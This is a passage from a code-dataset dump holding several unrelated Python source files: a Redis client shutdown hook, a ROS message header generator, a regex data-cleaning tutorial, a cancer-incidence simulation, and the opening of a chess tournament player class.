on_shutdown() -> None:\n redis_client_sdk: None | RedisClientSDK = app.state.redis_client_sdk\n if redis_client_sdk:\n await redis_client_sdk.shutdown()\n\n app.add_event_handler(\"startup\", on_startup)\n app.add_event_handler(\"shutdown\", on_shutdown)\n\n\ndef get_redis_client(app: FastAPI) -> RedisClientSDK:\n return cast(RedisClientSDK, app.state.redis_client_sdk)\n","sub_path":"services/clusters-keeper/src/simcore_service_clusters_keeper/modules/redis.py","file_name":"redis.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"553463595","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + '/ros_packages')\nimport traceback\n\nimport roslib.msgs \nimport roslib.packages\nimport roslib.gentools\nfrom rospkg import RosPack\ntry:\n set\nexcept NameError:\n from sets import Set as set\n\ntry:\n from cStringIO import StringIO #Python 2.x\nexcept ImportError:\n from io import StringIO #Python 3.x\n\nimport commons # local module\n\nMSG_TYPE_TO_CPP = {'byte': 'int8_t', 'char': 'uint8_t',\n 'bool': 'uint8_t',\n 'uint8': 'uint8_t', 'int8': 'int8_t', \n 'uint16': 'uint16_t', 'int16': 'int16_t', \n 'uint32': 'uint32_t', 'int32': 'int32_t',\n 'uint64': 'uint64_t', 'int64': 'int64_t',\n 'float32': 'float',\n 'float64': 'double',\n 'string': 'std::basic_string, typename ContainerAllocator::template rebind::other > ',\n 'time': 'ROSLITE_NAMESPACE::Time',\n 'duration': 'ROSLITE_NAMESPACE::Duration'}\n\ndef msg_type_to_cpp(type):\n \"\"\"\n Converts a message type (e.g. uint32, std_msgs/String, etc.) into the C++ declaration\n for that type (e.g. uint32_t, std_msgs::String_)\n \n @param type: The message type\n @type type: str\n @return: The C++ declaration\n @rtype: str\n \"\"\"\n (base_type, is_array, array_len) = roslib.msgs.parse_type(type)\n cpp_type = None\n if (roslib.msgs.is_builtin(base_type)):\n cpp_type = MSG_TYPE_TO_CPP[base_type]\n elif (len(base_type.split('/')) == 1):\n if (roslib.msgs.is_header_type(base_type)):\n cpp_type = ' ::NAMESPACE_std_msgs::Header_ '\n else:\n cpp_type = '%s_ '%(base_type)\n else:\n pkg = base_type.split('/')[0]\n msg = base_type.split('/')[1]\n cpp_type = ' ::NAMESPACE_%s::%s_ '%(pkg, msg)\n \n if (is_array):\n if (array_len is None):\n return 'std::vector<%s, typename ContainerAllocator::template rebind<%s>::other > '%(cpp_type, cpp_type)\n else:\n return 'boost::array<%s, %s> '%(cpp_type, array_len)\n else:\n return cpp_type\n\ndef is_time_or_duration(type):\n return (type == 'time' or type == 'duration')\n\ndef cpp_message_declarations(name_prefix, msg):\n \"\"\"\n Returns the different possible C++ declarations for a message given the message itself.\n \n @param name_prefix: The C++ prefix to be prepended to the name, e.g. \"std_msgs::\"\n @type name_prefix: str\n @param msg: The message type\n @type msg: str\n @return: A tuple of 3 different names. cpp_message_decelarations(\"std_msgs::\", \"String\") returns the tuple\n (\"std_msgs::String_\", \"std_msgs::String_\", \"std_msgs::String\")\n @rtype: str \n \"\"\"\n pkg, basetype = roslib.names.package_resource_name(msg)\n cpp_name = ' ::%s%s'%(name_prefix, msg)\n if (pkg):\n cpp_name = ' ::%s::%s'%(pkg, basetype)\n return ('%s_'%(cpp_name), '%s_ '%(cpp_name), '%s'%(cpp_name))\n\ndef write_begin(s, spec, file):\n \"\"\"\n Writes the beginning of the header file: a comment saying it's auto-generated and the include guards\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The spec\n @type spec: roslib.msgs.MsgSpec\n @param file: The file this message is being generated for\n @type file: str\n \"\"\"\n s.write('#ifndef ROSLITE_%s_MESSAGE_%s_H\\n'%(spec.package.upper(), spec.short_name.upper()))\n s.write('#define ROSLITE_%s_MESSAGE_%s_H\\n'%(spec.package.upper(), spec.short_name.upper()))\n\ndef write_end(s, spec):\n \"\"\"\n Writes the end of the header file: the ending of the include guards\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The spec\n @type spec: roslib.msgs.MsgSpec\n \"\"\"\n s.write('#endif // ROSLITE_%s_MESSAGE_%s_H\\n'%(spec.package.upper(), spec.short_name.upper()))\n \ndef write_generic_includes(s):\n \"\"\"\n Writes the includes that all messages need\n \n @param s: The stream to write to\n @type s: stream\n \"\"\"\n s.write('\\n')\n s.write('#include \\n')\n s.write('#include \\n')\n s.write('#include \\n')\n s.write('#include \\n\\n')\n # s.write('#include \"ros/serialization.h\"\\n')\n # s.write('#include \"ros/builtin_message_traits.h\"\\n')\n # s.write('#include \"ros/message_operations.h\"\\n')\n # s.write('#include \"ros/time.h\"\\n\\n')\n # s.write('#include \"ros/macros.h\"\\n\\n')\n # s.write('#include \"ros/assert.h\"\\n\\n')\n\ndef write_includes(s, package, spec):\n s.write('#if ROSLITE_TARGET_CLUSTER_ID == 0\\n')\n s.write(' #include \"roslite/include/ros/common.h\"\\n')\n s.write(' #include \"roslite/include/ros/serialization.h\"\\n')\n s.write(' #include \"%s/%s.h\"\\n' % (package, spec.short_name))\n for field in spec.parsed_fields():\n if (not field.is_builtin):\n if (field.is_header):\n s.write(' #include \"roslite/include/std_msgs/Header.h\"\\n')\n else:\n (pkg, name) = roslib.names.package_resource_name(field.base_type)\n pkg = pkg or spec.package # convert '' to package\n s.write(' #include \"roslite/include/%s/%s.h\"\\n'%(pkg, name))\n s.write('#else\\n')\n s.write(' #include \"ros/common.h\"\\n')\n s.write(' #include \"ros/serialization.h\"\\n')\n for field in spec.parsed_fields():\n if (not field.is_builtin):\n if (field.is_header):\n s.write(' #include \"std_msgs/Header.h\"\\n')\n else:\n (pkg, name) = roslib.names.package_resource_name(field.base_type)\n pkg = pkg or spec.package # convert '' to package\n s.write(' #include \"%s/%s.h\"\\n'%(pkg, name))\n s.write('#endif\\n')\n s.write('\\n') \n\ndef write_struct(s, package, spec, cpp_name_prefix, extra_deprecated_traits = {}):\n \"\"\"\n Writes the entire message struct: declaration, constructors, members, constants and (deprecated) member functions\n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n @param cpp_name_prefix: The C++ prefix to use when referring to the message, e.g. \"std_msgs::\"\n @type cpp_name_prefix: str\n \"\"\"\n \n msg = spec.short_name\n s.write('template \\n')\n s.write('struct %s_ {\\n'%(msg))\n s.write(' typedef %s_ Type;\\n\\n'%(msg))\n \n write_constructors(s, spec, cpp_name_prefix)\n write_members(s, spec)\n write_constant_declarations(s, spec) # ??\n \n #rospack = RosPack()\n #gendeps_dict = roslib.gentools.get_dependencies(spec, spec.package, compute_files=False, rospack=rospack)\n #md5sum = roslib.gentools.compute_md5(gendeps_dict, rospack=rospack)\n #full_text = compute_full_text_escaped(gendeps_dict)\n \n # write_deprecated_member_functions(s, spec, dict(list({'MD5Sum': md5sum, 'DataType': '%s/%s'%(spec.package, spec.short_name), 'MessageDefinition': full_text}.items()) + list(extra_deprecated_traits.items())))\n \n (cpp_msg_unqualified, cpp_msg_with_alloc, cpp_msg_base) = cpp_message_declarations(cpp_name_prefix, msg)\n # s.write(' typedef boost::shared_ptr<%s> Ptr;\\n'%(cpp_msg_with_alloc)) # MOD\n s.write(' typedef ::std::shared_ptr<%s> Ptr;\\n'%(cpp_msg_with_alloc)) # MOD\n # s.write(' typedef boost::shared_ptr<%s const> ConstPtr;\\n'%(cpp_msg_with_alloc)) # MOD\n s.write(' typedef ::std::shared_ptr<%s const> ConstPtr;\\n'%(cpp_msg_with_alloc)) # MOD\n\n s.write('\\n')\n\n s.write('#if ROSLITE_TARGET_CLUSTER_ID == 0\\n')\n s.write(' static Type FromRosMsg(const typename %s::%s_& ros_msg) {\\n' % (package, msg))\n s.write(' Type roslite_msg;\\n')\n for m in spec.parsed_fields():\n (base_type, is_array, array_len) = roslib.msgs.parse_type(m.type)\n if (roslib.msgs.is_builtin(base_type) and not is_time_or_duration(base_type)):\n s.write(' roslite_msg.%s = ros_msg.%s;\\n' % (m.name, m.name))\n elif (is_array):\n s.write(' for (int i = 0; i < (int)ros_msg.%s.size(); ++i) {\\n' % (m.name))\n s.write(' roslite_msg.%s.push_back(%s::FromRosMsg(ros_msg.%s[i]));\\n' % (m.name, msg_type_to_cpp(base_type), m.name))\n s.write(' }\\n')\n else:\n s.write(' roslite_msg.%s = %s::FromRosMsg(ros_msg.%s);\\n' % (m.name, msg_type_to_cpp(m.type), m.name))\n s.write(' return roslite_msg;\\n')\n s.write(' }\\n')\n s.write('\\n')\n s.write(' typename %s::%s_ ToRosMsg() const {\\n' % (package, msg))\n s.write(' typename %s::%s_ ros_msg;\\n' % (package, msg))\n for m in spec.parsed_fields():\n (base_type, is_array, array_len) = roslib.msgs.parse_type(m.type)\n if (roslib.msgs.is_builtin(base_type) and not is_time_or_duration(base_type)):\n s.write(' ros_msg.%s = %s;\\n' % (m.name, m.name))\n elif (is_array):\n s.write(' for (int i = 0; i < (int)%s.size(); ++i) {\\n' % (m.name))\n s.write(' ros_msg.%s.push_back(%s[i].ToRosMsg());\\n' % (m.name, m.name))\n s.write(' }\\n')\n else:\n s.write(' ros_msg.%s = %s.ToRosMsg();\\n' % (m.name, m.name))\n s.write(' return ros_msg;\\n')\n s.write(' }\\n')\n s.write(' \\n')\n \n s.write(' static typename Type::ConstPtr FromRosMsgPtr(const typename %s::%s_::ConstPtr& ros_msg) {\\n' % (package, msg))\n s.write(' typename Type::Ptr roslite_msg(new Type());\\n')\n s.write(' *roslite_msg = FromRosMsg(*ros_msg);\\n')\n s.write(' return roslite_msg;\\n')\n s.write(' }\\n')\n s.write('\\n')\n s.write(' typename %s::%s_::ConstPtr ToRosMsgPtr() const {\\n' % (package, msg))\n s.write(' typename %s::%s_::Ptr ros_msg(new %s::%s_());\\n' % (package, msg, package, msg))\n s.write(' *ros_msg = ToRosMsg();\\n')\n s.write(' return ros_msg;\\n')\n s.write(' }\\n')\n s.write('#endif\\n')\n \n s.write('\\n')\n\n s.write('}; // struct %s\\n'%(msg))\n \n s.write('typedef %s_ > %s;\\n\\n'%(cpp_msg_base, msg))\n # s.write('typedef boost::shared_ptr<%s> %sPtr;\\n'%(cpp_msg_base, msg)) # MOD\n s.write('typedef ::std::shared_ptr<%s> %sPtr;\\n'%(cpp_msg_base, msg)) # MOD\n # s.write('typedef boost::shared_ptr<%s const> %sConstPtr;\\n\\n'%(cpp_msg_base, msg)) # MOD\n s.write('typedef ::std::shared_ptr<%s const> %sConstPtr;\\n\\n'%(cpp_msg_base, msg)) # MOD\n\ndef default_value(type):\n \"\"\"\n Returns the value to initialize a message member with. 0 for integer types, 0.0 for floating point, false for bool,\n empty string for everything else\n \n @param type: The type\n @type type: str\n \"\"\"\n if type in ['byte', 'int8', 'int16', 'int32', 'int64',\n 'char', 'uint8', 'uint16', 'uint32', 'uint64']:\n return '0'\n elif type in ['float32', 'float64']:\n return '0.0'\n elif type == 'bool':\n return 'false'\n \n return \"\"\n\ndef takes_allocator(type):\n \"\"\"\n Returns whether or not a type can take an allocator in its constructor. False for all builtin types except string.\n True for all others.\n \n @param type: The type\n @type: str\n \"\"\"\n return not type in ['byte', 'int8', 'int16', 'int32', 'int64',\n 'char', 'uint8', 'uint16', 'uint32', 'uint64',\n 'float32', 'float64', 'bool', 'time', 'duration']\n\ndef write_initializer_list(s, spec, container_gets_allocator):\n \"\"\"\n Writes the initializer list for a constructor\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n @param container_gets_allocator: Whether or not a container type (whether it's another message, a vector, array or string)\n should have the allocator passed to its constructor. Assumes the allocator is named _alloc.\n @type container_gets_allocator: bool\n \"\"\"\n \n i = 0\n for field in spec.parsed_fields():\n if (i == 0):\n s.write(' : ')\n else:\n s.write(' , ')\n \n val = default_value(field.base_type)\n use_alloc = takes_allocator(field.base_type)\n if (field.is_array):\n if (field.array_len is None and container_gets_allocator):\n s.write('%s(_alloc)\\n'%(field.name))\n else:\n s.write('%s()\\n'%(field.name))\n else:\n if (container_gets_allocator and use_alloc):\n s.write('%s(_alloc)\\n'%(field.name))\n else:\n s.write('%s(%s)\\n'%(field.name, val))\n i = i + 1\n\ndef write_fixed_length_assigns(s, spec, container_gets_allocator, cpp_name_prefix):\n \"\"\"\n Initialize any fixed-length arrays\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n @param container_gets_allocator: Whether or not a container type (whether it's another message, a vector, array or string)\n should have the allocator passed to its constructor. Assumes the allocator is named _alloc.\n @type container_gets_allocator: bool\n @param cpp_name_prefix: The C++ prefix to use when referring to the message, e.g. \"std_msgs::\"\n @type cpp_name_prefix: str\n \"\"\"\n # Assign all fixed-length arrays their default values\n for field in spec.parsed_fields():\n if (not field.is_array or field.array_len is None):\n continue\n \n val = default_value(field.base_type)\n if (container_gets_allocator and takes_allocator(field.base_type)):\n # String is a special case, as it is the only builtin type that takes an allocator\n if (field.base_type == \"string\"):\n string_cpp = msg_type_to_cpp(\"string\")\n s.write(' %s.assign(%s(_alloc));\\n'%(field.name, string_cpp))\n else:\n (cpp_msg_unqualified, cpp_msg_with_alloc, _) = cpp_message_declarations(cpp_name_prefix, field.base_type)\n s.write(' %s.assign(%s(_alloc));\\n'%(field.name, cpp_msg_with_alloc))\n elif (len(val) > 0):\n s.write(' %s.assign(%s);\\n'%(field.name, val))\n\ndef write_constructors(s, spec, cpp_name_prefix):\n \"\"\"\n Writes any necessary constructors for the message\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n @param cpp_name_prefix: The C++ prefix to use when referring to the message, e.g. \"std_msgs::\"\n @type cpp_name_prefix: str\n \"\"\"\n \n msg = spec.short_name\n \n # Default constructor\n s.write(' %s_()\\n'%(msg))\n write_initializer_list(s, spec, False)\n s.write(' {\\n')\n write_fixed_length_assigns(s, spec, False, cpp_name_prefix)\n s.write(' }\\n\\n')\n \n # Constructor that takes an allocator constructor\n s.write(' %s_(const ContainerAllocator& _alloc)\\n'%(msg))\n write_initializer_list(s, spec, True)\n s.write(' {\\n')\n write_fixed_length_assigns(s, spec, True, cpp_name_prefix)\n s.write(' }\\n\\n')\n\ndef write_member(s, field):\n \"\"\"\n Writes a single member's declaration and type typedef\n \n @param s: The stream to write to\n @type s: stream\n @param type: The member type\n @type type: str\n @param name: The name of the member\n @type name: str\n \"\"\"\n cpp_type = msg_type_to_cpp(field.type)\n s.write(' typedef %s _%s_type;\\n'%(cpp_type, field.name))\n s.write(' %s %s;\\n\\n'%(cpp_type, field.name))\n\ndef write_members(s, spec):\n \"\"\"\n Write all the member declarations\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n \"\"\"\n [write_member(s, field) for field in spec.parsed_fields()]\n\ndef write_constant_declaration(s, constant):\n \"\"\"\n Write a constant value as a static member\n \n @param s: The stream to write to\n @type s: stream\n @param constant: The constant\n @type constant: roslib.msgs.Constant\n \"\"\"\n \n # integral types get their declarations as enums to allow use at compile time\n if (constant.type in ['byte', 'int8', 'int16', 'int32', 'int64', 'char', 'uint8', 'uint16', 'uint32', 'uint64']):\n s.write(' enum { %s = %s };\\n'%(constant.name, constant.val))\n else:\n s.write(' static const %s %s;\\n'%(msg_type_to_cpp(constant.type), constant.name))\n\ndef write_constant_declarations(s, spec):\n \"\"\"\n Write all the constants from a spec as static members\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n \"\"\"\n [write_constant_declaration(s, constant) for constant in spec.constants]\n s.write('\\n')\n\ndef write_constant_definition(s, spec, constant):\n \"\"\"\n Write a constant value as a static member\n \n @param s: The stream to write to\n @type s: stream\n @param constant: The constant\n @type constant: roslib.msgs.Constant\n \"\"\"\n \n # integral types do not need a definition, since they've been defined where they are declared\n if (constant.type not in ['byte', 'int8', 'int16', 'int32', 'int64', 'char', 'uint8', 'uint16', 'uint32', 'uint64', 'string']):\n s.write('template const %s %s_::%s = %s;\\n'%(msg_type_to_cpp(constant.type), spec.short_name, constant.name, constant.val))\n elif (constant.type == 'string'):\n s.write('template const %s %s_::%s = \"%s\";\\n'%(msg_type_to_cpp(constant.type), spec.short_name, constant.name, escape_string(constant.val)))\n \ndef write_constant_definitions(s, spec):\n \"\"\"\n Write all the constants from a spec as static members\n \n @param s: The stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n \"\"\"\n [write_constant_definition(s, spec, constant) for constant in spec.constants]\n s.write('\\n')\n \ndef write_serialization(s, spec, cpp_name_prefix):\n \"\"\"\n Writes the Serializer class for a message\n \n @param s: Stream to write to\n @type s: stream\n @param spec: The message spec\n @type spec: roslib.msgs.MsgSpec\n @param cpp_name_prefix: The C++ prefix to prepend to a message to refer to it (e.g. \"std_msgs::\")\n @type cpp_name_prefix: str\n \"\"\"\n (cpp_msg_unqualified, cpp_msg_with_alloc, _) = cpp_message_declarations(cpp_name_prefix, spec.short_name)\n \n s.write('namespace ROSLITE_NAMESPACE\\n{\\n')\n s.write('namespace serialization\\n{\\n\\n')\n \n s.write('template struct Serializer<%s>\\n{\\n'%(cpp_msg_with_alloc))\n \n s.write(' template inline static void allInOne(Stream& stream, T m)\\n {\\n')\n for field in spec.parsed_fields():\n s.write(' stream.next(m.%s);\\n'%(field.name))\n s.write(' }\\n\\n')\n \n s.write(' ROS_DECLARE_ALLINONE_SERIALIZER;\\n')\n \n s.write('}; // struct %s_\\n'%(spec.short_name))\n \n s.write('} // namespace serialization\\n')\n s.write('} // namespace ROSLITE_NAMESPACE\\n\\n')\n \ndef generate(msg_path):\n \"\"\"\n Generate a message\n \n @param msg_path: The path to the .msg file\n @type msg_path: str\n \"\"\"\n # (package_dir, package) = roslib.packages.get_dir_pkg(msg_path) # TODO\n # package = os.path.dirname(msg_path) # TODO\n splited = os.path.dirname(msg_path).rsplit('/',1)\n package = splited[1]\n # print package\n\n (_, spec) = roslib.msgs.load_from_file(msg_path, package)\n \n s = StringIO()\n # s.write('// [test] First line.\\n')\n commons.write_note(s, os.path.relpath(msg_path))\n write_begin(s, spec, msg_path)\n write_generic_includes(s)\n write_includes(s, package, spec)\n\n namespace_macro = 'NAMESPACE_' + package;\n cpp_prefix = namespace_macro + '::'\n\n all_pkgs = set();\n for field in spec.parsed_fields():\n if (not field.is_builtin):\n if (field.is_header):\n all_pkgs.add('std_msgs')\n else:\n (pkg, name) = roslib.names.package_resource_name(field.base_type)\n pkg = pkg or spec.package # convert '' to package\n all_pkgs.add(pkg)\n \n s.write('#if ROSLITE_TARGET_CLUSTER_ID == 0\\n')\n s.write(' #define %s roslite_%s\\n' % (namespace_macro, package))\n for pkg in all_pkgs:\n s.write(' #define NAMESPACE_%s roslite_%s\\n' % (pkg, pkg))\n s.write('#else\\n')\n s.write(' #define %s %s\\n' % (namespace_macro, package))\n for pkg in all_pkgs:\n s.write(' #define NAMESPACE_%s %s\\n' % (pkg, pkg))\n s.write('#endif\\n')\n s.write('\\n')\n s.write('namespace %s\\n{\\n' % (namespace_macro))\n write_struct(s, package, spec, cpp_prefix)\n write_constant_definitions(s, spec) # ??\n # write_ostream_operator(s, spec, cpp_prefix) # MOD\n s.write('} // namespace NAMESPACE_%s\\n\\n'%(package))\n \n # rospack = RosPack() # MOD\n # write_traits(s, spec, cpp_prefix, rospack=rospack) # MOD\n write_serialization(s, spec, cpp_prefix)\n # write_operations(s, spec, cpp_prefix) # MOD\n\n s.write('#undef %s\\n' % (namespace_macro))\n s.write('\\n')\n \n # MOD\n # # HACK HACK HACK. The moving of roslib/Header causes many problems. We end up having to make roslib/Header act exactly\n # # like std_msgs/Header (as in, constructor that takes it, as well as operator std_msgs::Header()), and it needs to be\n # # available wherever std_msgs/Header.h has been included\n # if (package == \"std_msgs\" and spec.short_name == \"Header\"):\n # s.write(\"#define STD_MSGS_INCLUDING_HEADER_DEPRECATED_DEF 1\\n\")\n # s.write(\"#include \\n\")\n # s.write(\"#undef STD_MSGS_INCLUDING_HEADER_DEPRECATED_DEF\\n\\n\") \n \n write_end(s, spec)\n \n # output_dir = '%s/msg_gen/cpp/include/%s'%(package_dir, package) # MOD\n output_dir = os.path.dirname(os.path.abspath(__file__)) + '/../../roslite/include/%s'%(package) # MOD\n\n commons.print_generated_file(package + '/' + spec.short_name + '.h' )\n\n if (not os.path.exists(output_dir)):\n # if we're being run concurrently, the above test can report false but os.makedirs can still fail if\n # another copy just created the directory\n try:\n os.makedirs(output_dir)\n except OSError as e:\n pass\n \n f = open('%s/%s.h'%(output_dir, spec.short_name), 'w')\n f.write(s.getvalue() + \"\\n\")\n \n s.close()\n\ndef generate_messages(argv):\n for arg in argv[1:]:\n generate(arg)\n\ndef test():\n print('--- Generating message header file (.h) in ./generated_files from .msg ---')\n print('--- $ python gen_msg.py [.msg path] [.msg path] ... ---\\n')\n\n# start from here\nif __name__ == '__main__':\n # test()\n generate_messages(sys.argv)\n # print('\\n--- Completed!! ---')\n","sub_path":"source/appl/roslite/scripts/msg_gen.py","file_name":"msg_gen.py","file_ext":"py","file_size_in_byte":23280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"366564766","text":"# String Manipulation\n# Much of data cleaning involves string manipulation.\n# Most of the world's data is unstructured text.\n# Also have to do string manipulation to make datasets consistent with one another.\n\n# String Manipulation Library \n# \"re\" library for regular expressions.\n\t# A Formal way of specifying a pattern\n\t# Sequence of characters\n# Pattern Matching\n# Example Match\n# 17\t-\t\\d* (* represents 0 or more time)\n# $17 - \t\\$\\d* (\\$ is escaping $ sign, as it is already has predefined value)\n# $17.00 - \t\\$\\d*\\.\\d* (. has meaning in regex, . represents matching any one character)\n# $17.89 - \t\\$\\d*\\.\\d{2} (Exactly 2 Values)\n# $17.895 - ^\\$\\d*\\.\\d{2}$\nimport re\npattern = re.compile('\\$\\d*\\.\\d{2}')\nresult = pattern.match('$17.89')\nprint(bool(result))\n\n# String parsing with regular expressions\n# When working with data, it is sometimes necessary to write a regular expression to look for properly entered values. Phone numbers in a dataset is a common field that needs to be checked for validity. Your job in this exercise is to define a regular expression to match US phone numbers that fit the pattern of xxx-xxx-xxxx.\n#The regular expression module in python is re. When performing pattern matching on data, since the pattern will be used for a match across multiple rows, it's better to compile the pattern first using re.compile(), and then use the compiled pattern to match values.\n# Import the regular expression module\nimport re\n\n# Compile the pattern: prog\nprog = re.compile('\\d{3}-\\d{3}-\\d{4}')\n\n# See if the pattern matches\nresult = prog.match('123-456-7890')\nprint(bool(result))\n\n# See if the pattern matches\nresult2 = prog.match('1123-456-7890')\nprint(bool(result2))\n\n# Extracting numerical values from strings\n# Import the regular expression module\nimport re\n\n# Find the numeric values: matches\nmatches = re.findall('\\d+', 'the recipe calls for 10 strawberries and 1 banana')\n\n# Print the matches\nprint(matches) # ['10', '1']\n\n#==================================================================================#\n\n# Write the first pattern\npattern1 = bool(re.match(pattern='\\d{3}-\\d{3}-\\d{4}', string='123-456-7890'))\nprint(pattern1)\n\n# Write the second pattern\npattern2 = bool(re.match(pattern='\\$\\d*\\.\\d{2}', string='$123.45'))\nprint(pattern2)\n\n# Write the third pattern\npattern3 = bool(re.match(pattern='\\w*', string='Australia'))\nprint(pattern3)\n","sub_path":"02_Cleaning Data in Python/08_Using_Regular_Expressions_To_Clean_String.py","file_name":"08_Using_Regular_Expressions_To_Clean_String.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"152442609","text":"\"\"\" Import of modules \"\"\"\r\nimport numpy.random as np\r\nimport xlsxwriter\r\nimport matplotlib.pyplot as plt\r\n\r\n\"\"\" Initialization \"\"\"\r\nN_pop = 100000 #Population size\r\nprob = [0] * 2 #Range of mutational probabilities\r\na = len ( prob )\r\nfor i in range ( 0, a ):\r\n prob [i] = 10 ** -(i+7)\r\n\r\ntime = 100 #Duration of each simulation\r\ngrowth_rate = np.normal ( -1, 0.5, N_pop )\r\ng_track = [ [0 for i in range ( 0, time )] for j in range ( 0, a ) ]\r\n\r\nmut_pop = [ [0 for i in range ( 0, time )] for j in range ( 0, a ) ] #Transition values of mutant population sizes\r\nproduct = [ [0 for i in range ( 0, time )] for j in range ( 0, a ) ] #Product of p and mut_pop will be stored here\r\nmut_prev = [ [0 for i in range ( 0, time )] for j in range ( 0, a ) ] #Threshold values of mutant population sizes\r\ncancer_count = [ [0 for i in range ( 0, time )] for j in range ( 0, a ) ] #Age-wise incidence of cancer\r\n\r\nn = 50 * 10 ** 7 #Stem cell carrying capacity for the tissue\r\n\r\n\"\"\" Main simulation \"\"\"\r\n\r\nfor i in range ( 0, a ):\r\n p = prob [i]\r\n for j in range ( 0, N_pop ):\r\n g = growth_rate [j]\r\n t = 0 #Index to track time\r\n n_mut = [0] * time\r\n m = 0 #Initial mutant population\r\n g_total = 0 #Total number of mutant cells with a particular set of mutations\r\n m_prev = 0 #Number of cells in the previous step\r\n m_hold = 0 #Holding variable for previous population size\r\n trans = 0 #Number of transitions in the population\r\n p_initial = 1 - ( (1-p) ** n ) #Initial probabiltiy of first mutation arising in the population\r\n g_track [i][0] = g\r\n\r\n if p_initial > np.random_sample ( ): #At t = 0\r\n n_mut [0] += 1\r\n m = 1\r\n p_mut = 1 - ( (1-p) ** m ) \r\n else:\r\n m = 0\r\n p_mut = p_initial\r\n\r\n for t in range ( 1, time ): #From t = 1 to end of time\r\n n_mut [t] = n_mut [t-1]\r\n m_hold = m\r\n m += ( ( m*g ) * ( 1 - ( m/n ) ) )\r\n g_track [i][t] += g / N_pop\r\n \r\n if n_mut [t] > 0:\r\n p_mut = 1 - ( (1-p) ** m )\r\n else:\r\n p_mut = p_initial\r\n\r\n if p_mut > np.random_sample ( ): #g value is the same for all mutations within an individual => first positive mutation has an all-time advantage\r\n n_mut [t] += 1\r\n m_prev += m_hold\r\n g_total += m\r\n m = 1\r\n trans += 1\r\n \r\n if n_mut [t] == 5: #Threshold number of mutations for cancer is 5\r\n cancer_count [i][t] += 1\r\n mut_pop [i][t] += ( g_total / trans ) / N_pop\r\n mut_prev [i][t] += ( m_prev / trans ) / N_pop\r\n break\r\n\r\n\"\"\" Calculations \"\"\"\r\ntotal_num = [0] * a #Total number of cancer cases\r\nci_rate = [0] * a #Cancer incidence rate\r\ng1 = [0] * time\r\ng2 = [0] * time\r\ncount1 = [0] * time\r\ncount2 = [0] * time\r\n\r\nfor j in range ( 0, time ):\r\n g1 [j] = g_track [0][j]\r\n count1 [j] = cancer_count [0][j]\r\n g2 [j] = g_track [1][j]\r\n count2 [j] = cancer_count [1][j]\r\n\r\nfor i in range ( 0, a ):\r\n for j in range ( 0, time ):\r\n total_num [i] += cancer_count [i][j]\r\n ci_rate [i] = ( total_num [i] / N_pop ) * 100000 #CI rate is calculated as fraction of cases per 100000 individuals\r\n\r\nprint ( ci_rate )\r\n\r\n\"\"\" Export to Excel \"\"\"\r\nworkbook = xlsxwriter.Workbook ( 'model.xlsx' )\r\nworksheet = workbook.add_worksheet ( )\r\n\r\nrow = 0\r\ncol = 0\r\nfor i in range ( 0, a ):\r\n worksheet.write ( row, col, ci_rate [i] )\r\n col += 1\r\n\r\nrow = 0\r\ncol = 0\r\nfor j in range ( 0, time ):\r\n worksheet.write ( row+2, col, count1 [j] )\r\n worksheet.write ( row+2, col+1, count2 [j] )\r\n row += 1\r\n\r\nworkbook.close ( )\r\n \r\n\r\n \r\n \r\n \r\n \r\n","sub_path":"MGW/codes/old-codes/cancer_incidence_model06_v2_clonal (2017_06_10 00_46_26 UTC).py","file_name":"cancer_incidence_model06_v2_clonal (2017_06_10 00_46_26 UTC).py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"350986427","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport datetime as dt\n\nfrom tinydb import TinyDB, Query\n\n\nclass Player:\n \"\"\"Class to make an instance of a chess player. Includes the following\n informations :\n - First Name\n - Last Name\n - Date of Birth\n - Gender\n - Rank\n \"\"\"\n def __init__(self, l_name, f_name, date_birth, gender, rank):\n \"\"\"Class constructor\"\"\"\n self.last_name = l_name.capitalize()\n self.first_name = f_name.capitalize()\n self.date_birth = date_birth\n self.gender = gender.upper()\n self.rank = rank\n self.id_player = self.date_birth.replace(\"/\", \"\")[4:] + \"_\" \\\n + self.last_name[0] \\\n + self.first_name[0]\n\n def __eq__(self, other):\n return self.rank == other.rank\n\n def __lt__(self, other):\n return self.rank < other.rank\n\n def __gt__(self, other):\n return self.rank > other.rank\n\n def __str__(self):\n if self.gender == \"M\":\n print(\"Description du joueur :\")\n elif self.gender == \"F\":\n print(\"Description de la joueuse :\")\n\n return f\"\"\"\n Nom : {self.last_name}\n Prénom : {self.first_name}\n Date de naissance : {self.date_birth}\n Sexe : {self.gender}\n Rang : {self.rank}\\n\"\"\"\n\n\nclass Tournament:\n \"\"\"Tournament making class\n \"\"\"\n def __init__(self):\n self.__player_list = []\n\n def add_new_player(self):\n print(\"Adding a new player. Please enter the following informations.\")\n print()\n l_name = input(\"Last name: \")\n f_name = input(\"First name: \")\n\n while True:\n date_birth = input(\"Date of birth (JJ/MM/AAAA): \")\n try:\n dt.datetime.strptime(date_birth, \"%d/%m/%Y\")\n break\n except ValueError:\n print(\n \"Format ou date invalide, veuillez entrer une date valide\")\n\n while True:\n gender = input(\"Gender (M/F): \")\n if gender.upper() in (\"M\", \"F\"):\n break\n else:\n print(\"Veuillez entre M ou F uniquement.\")\n\n while True:\n try:\n 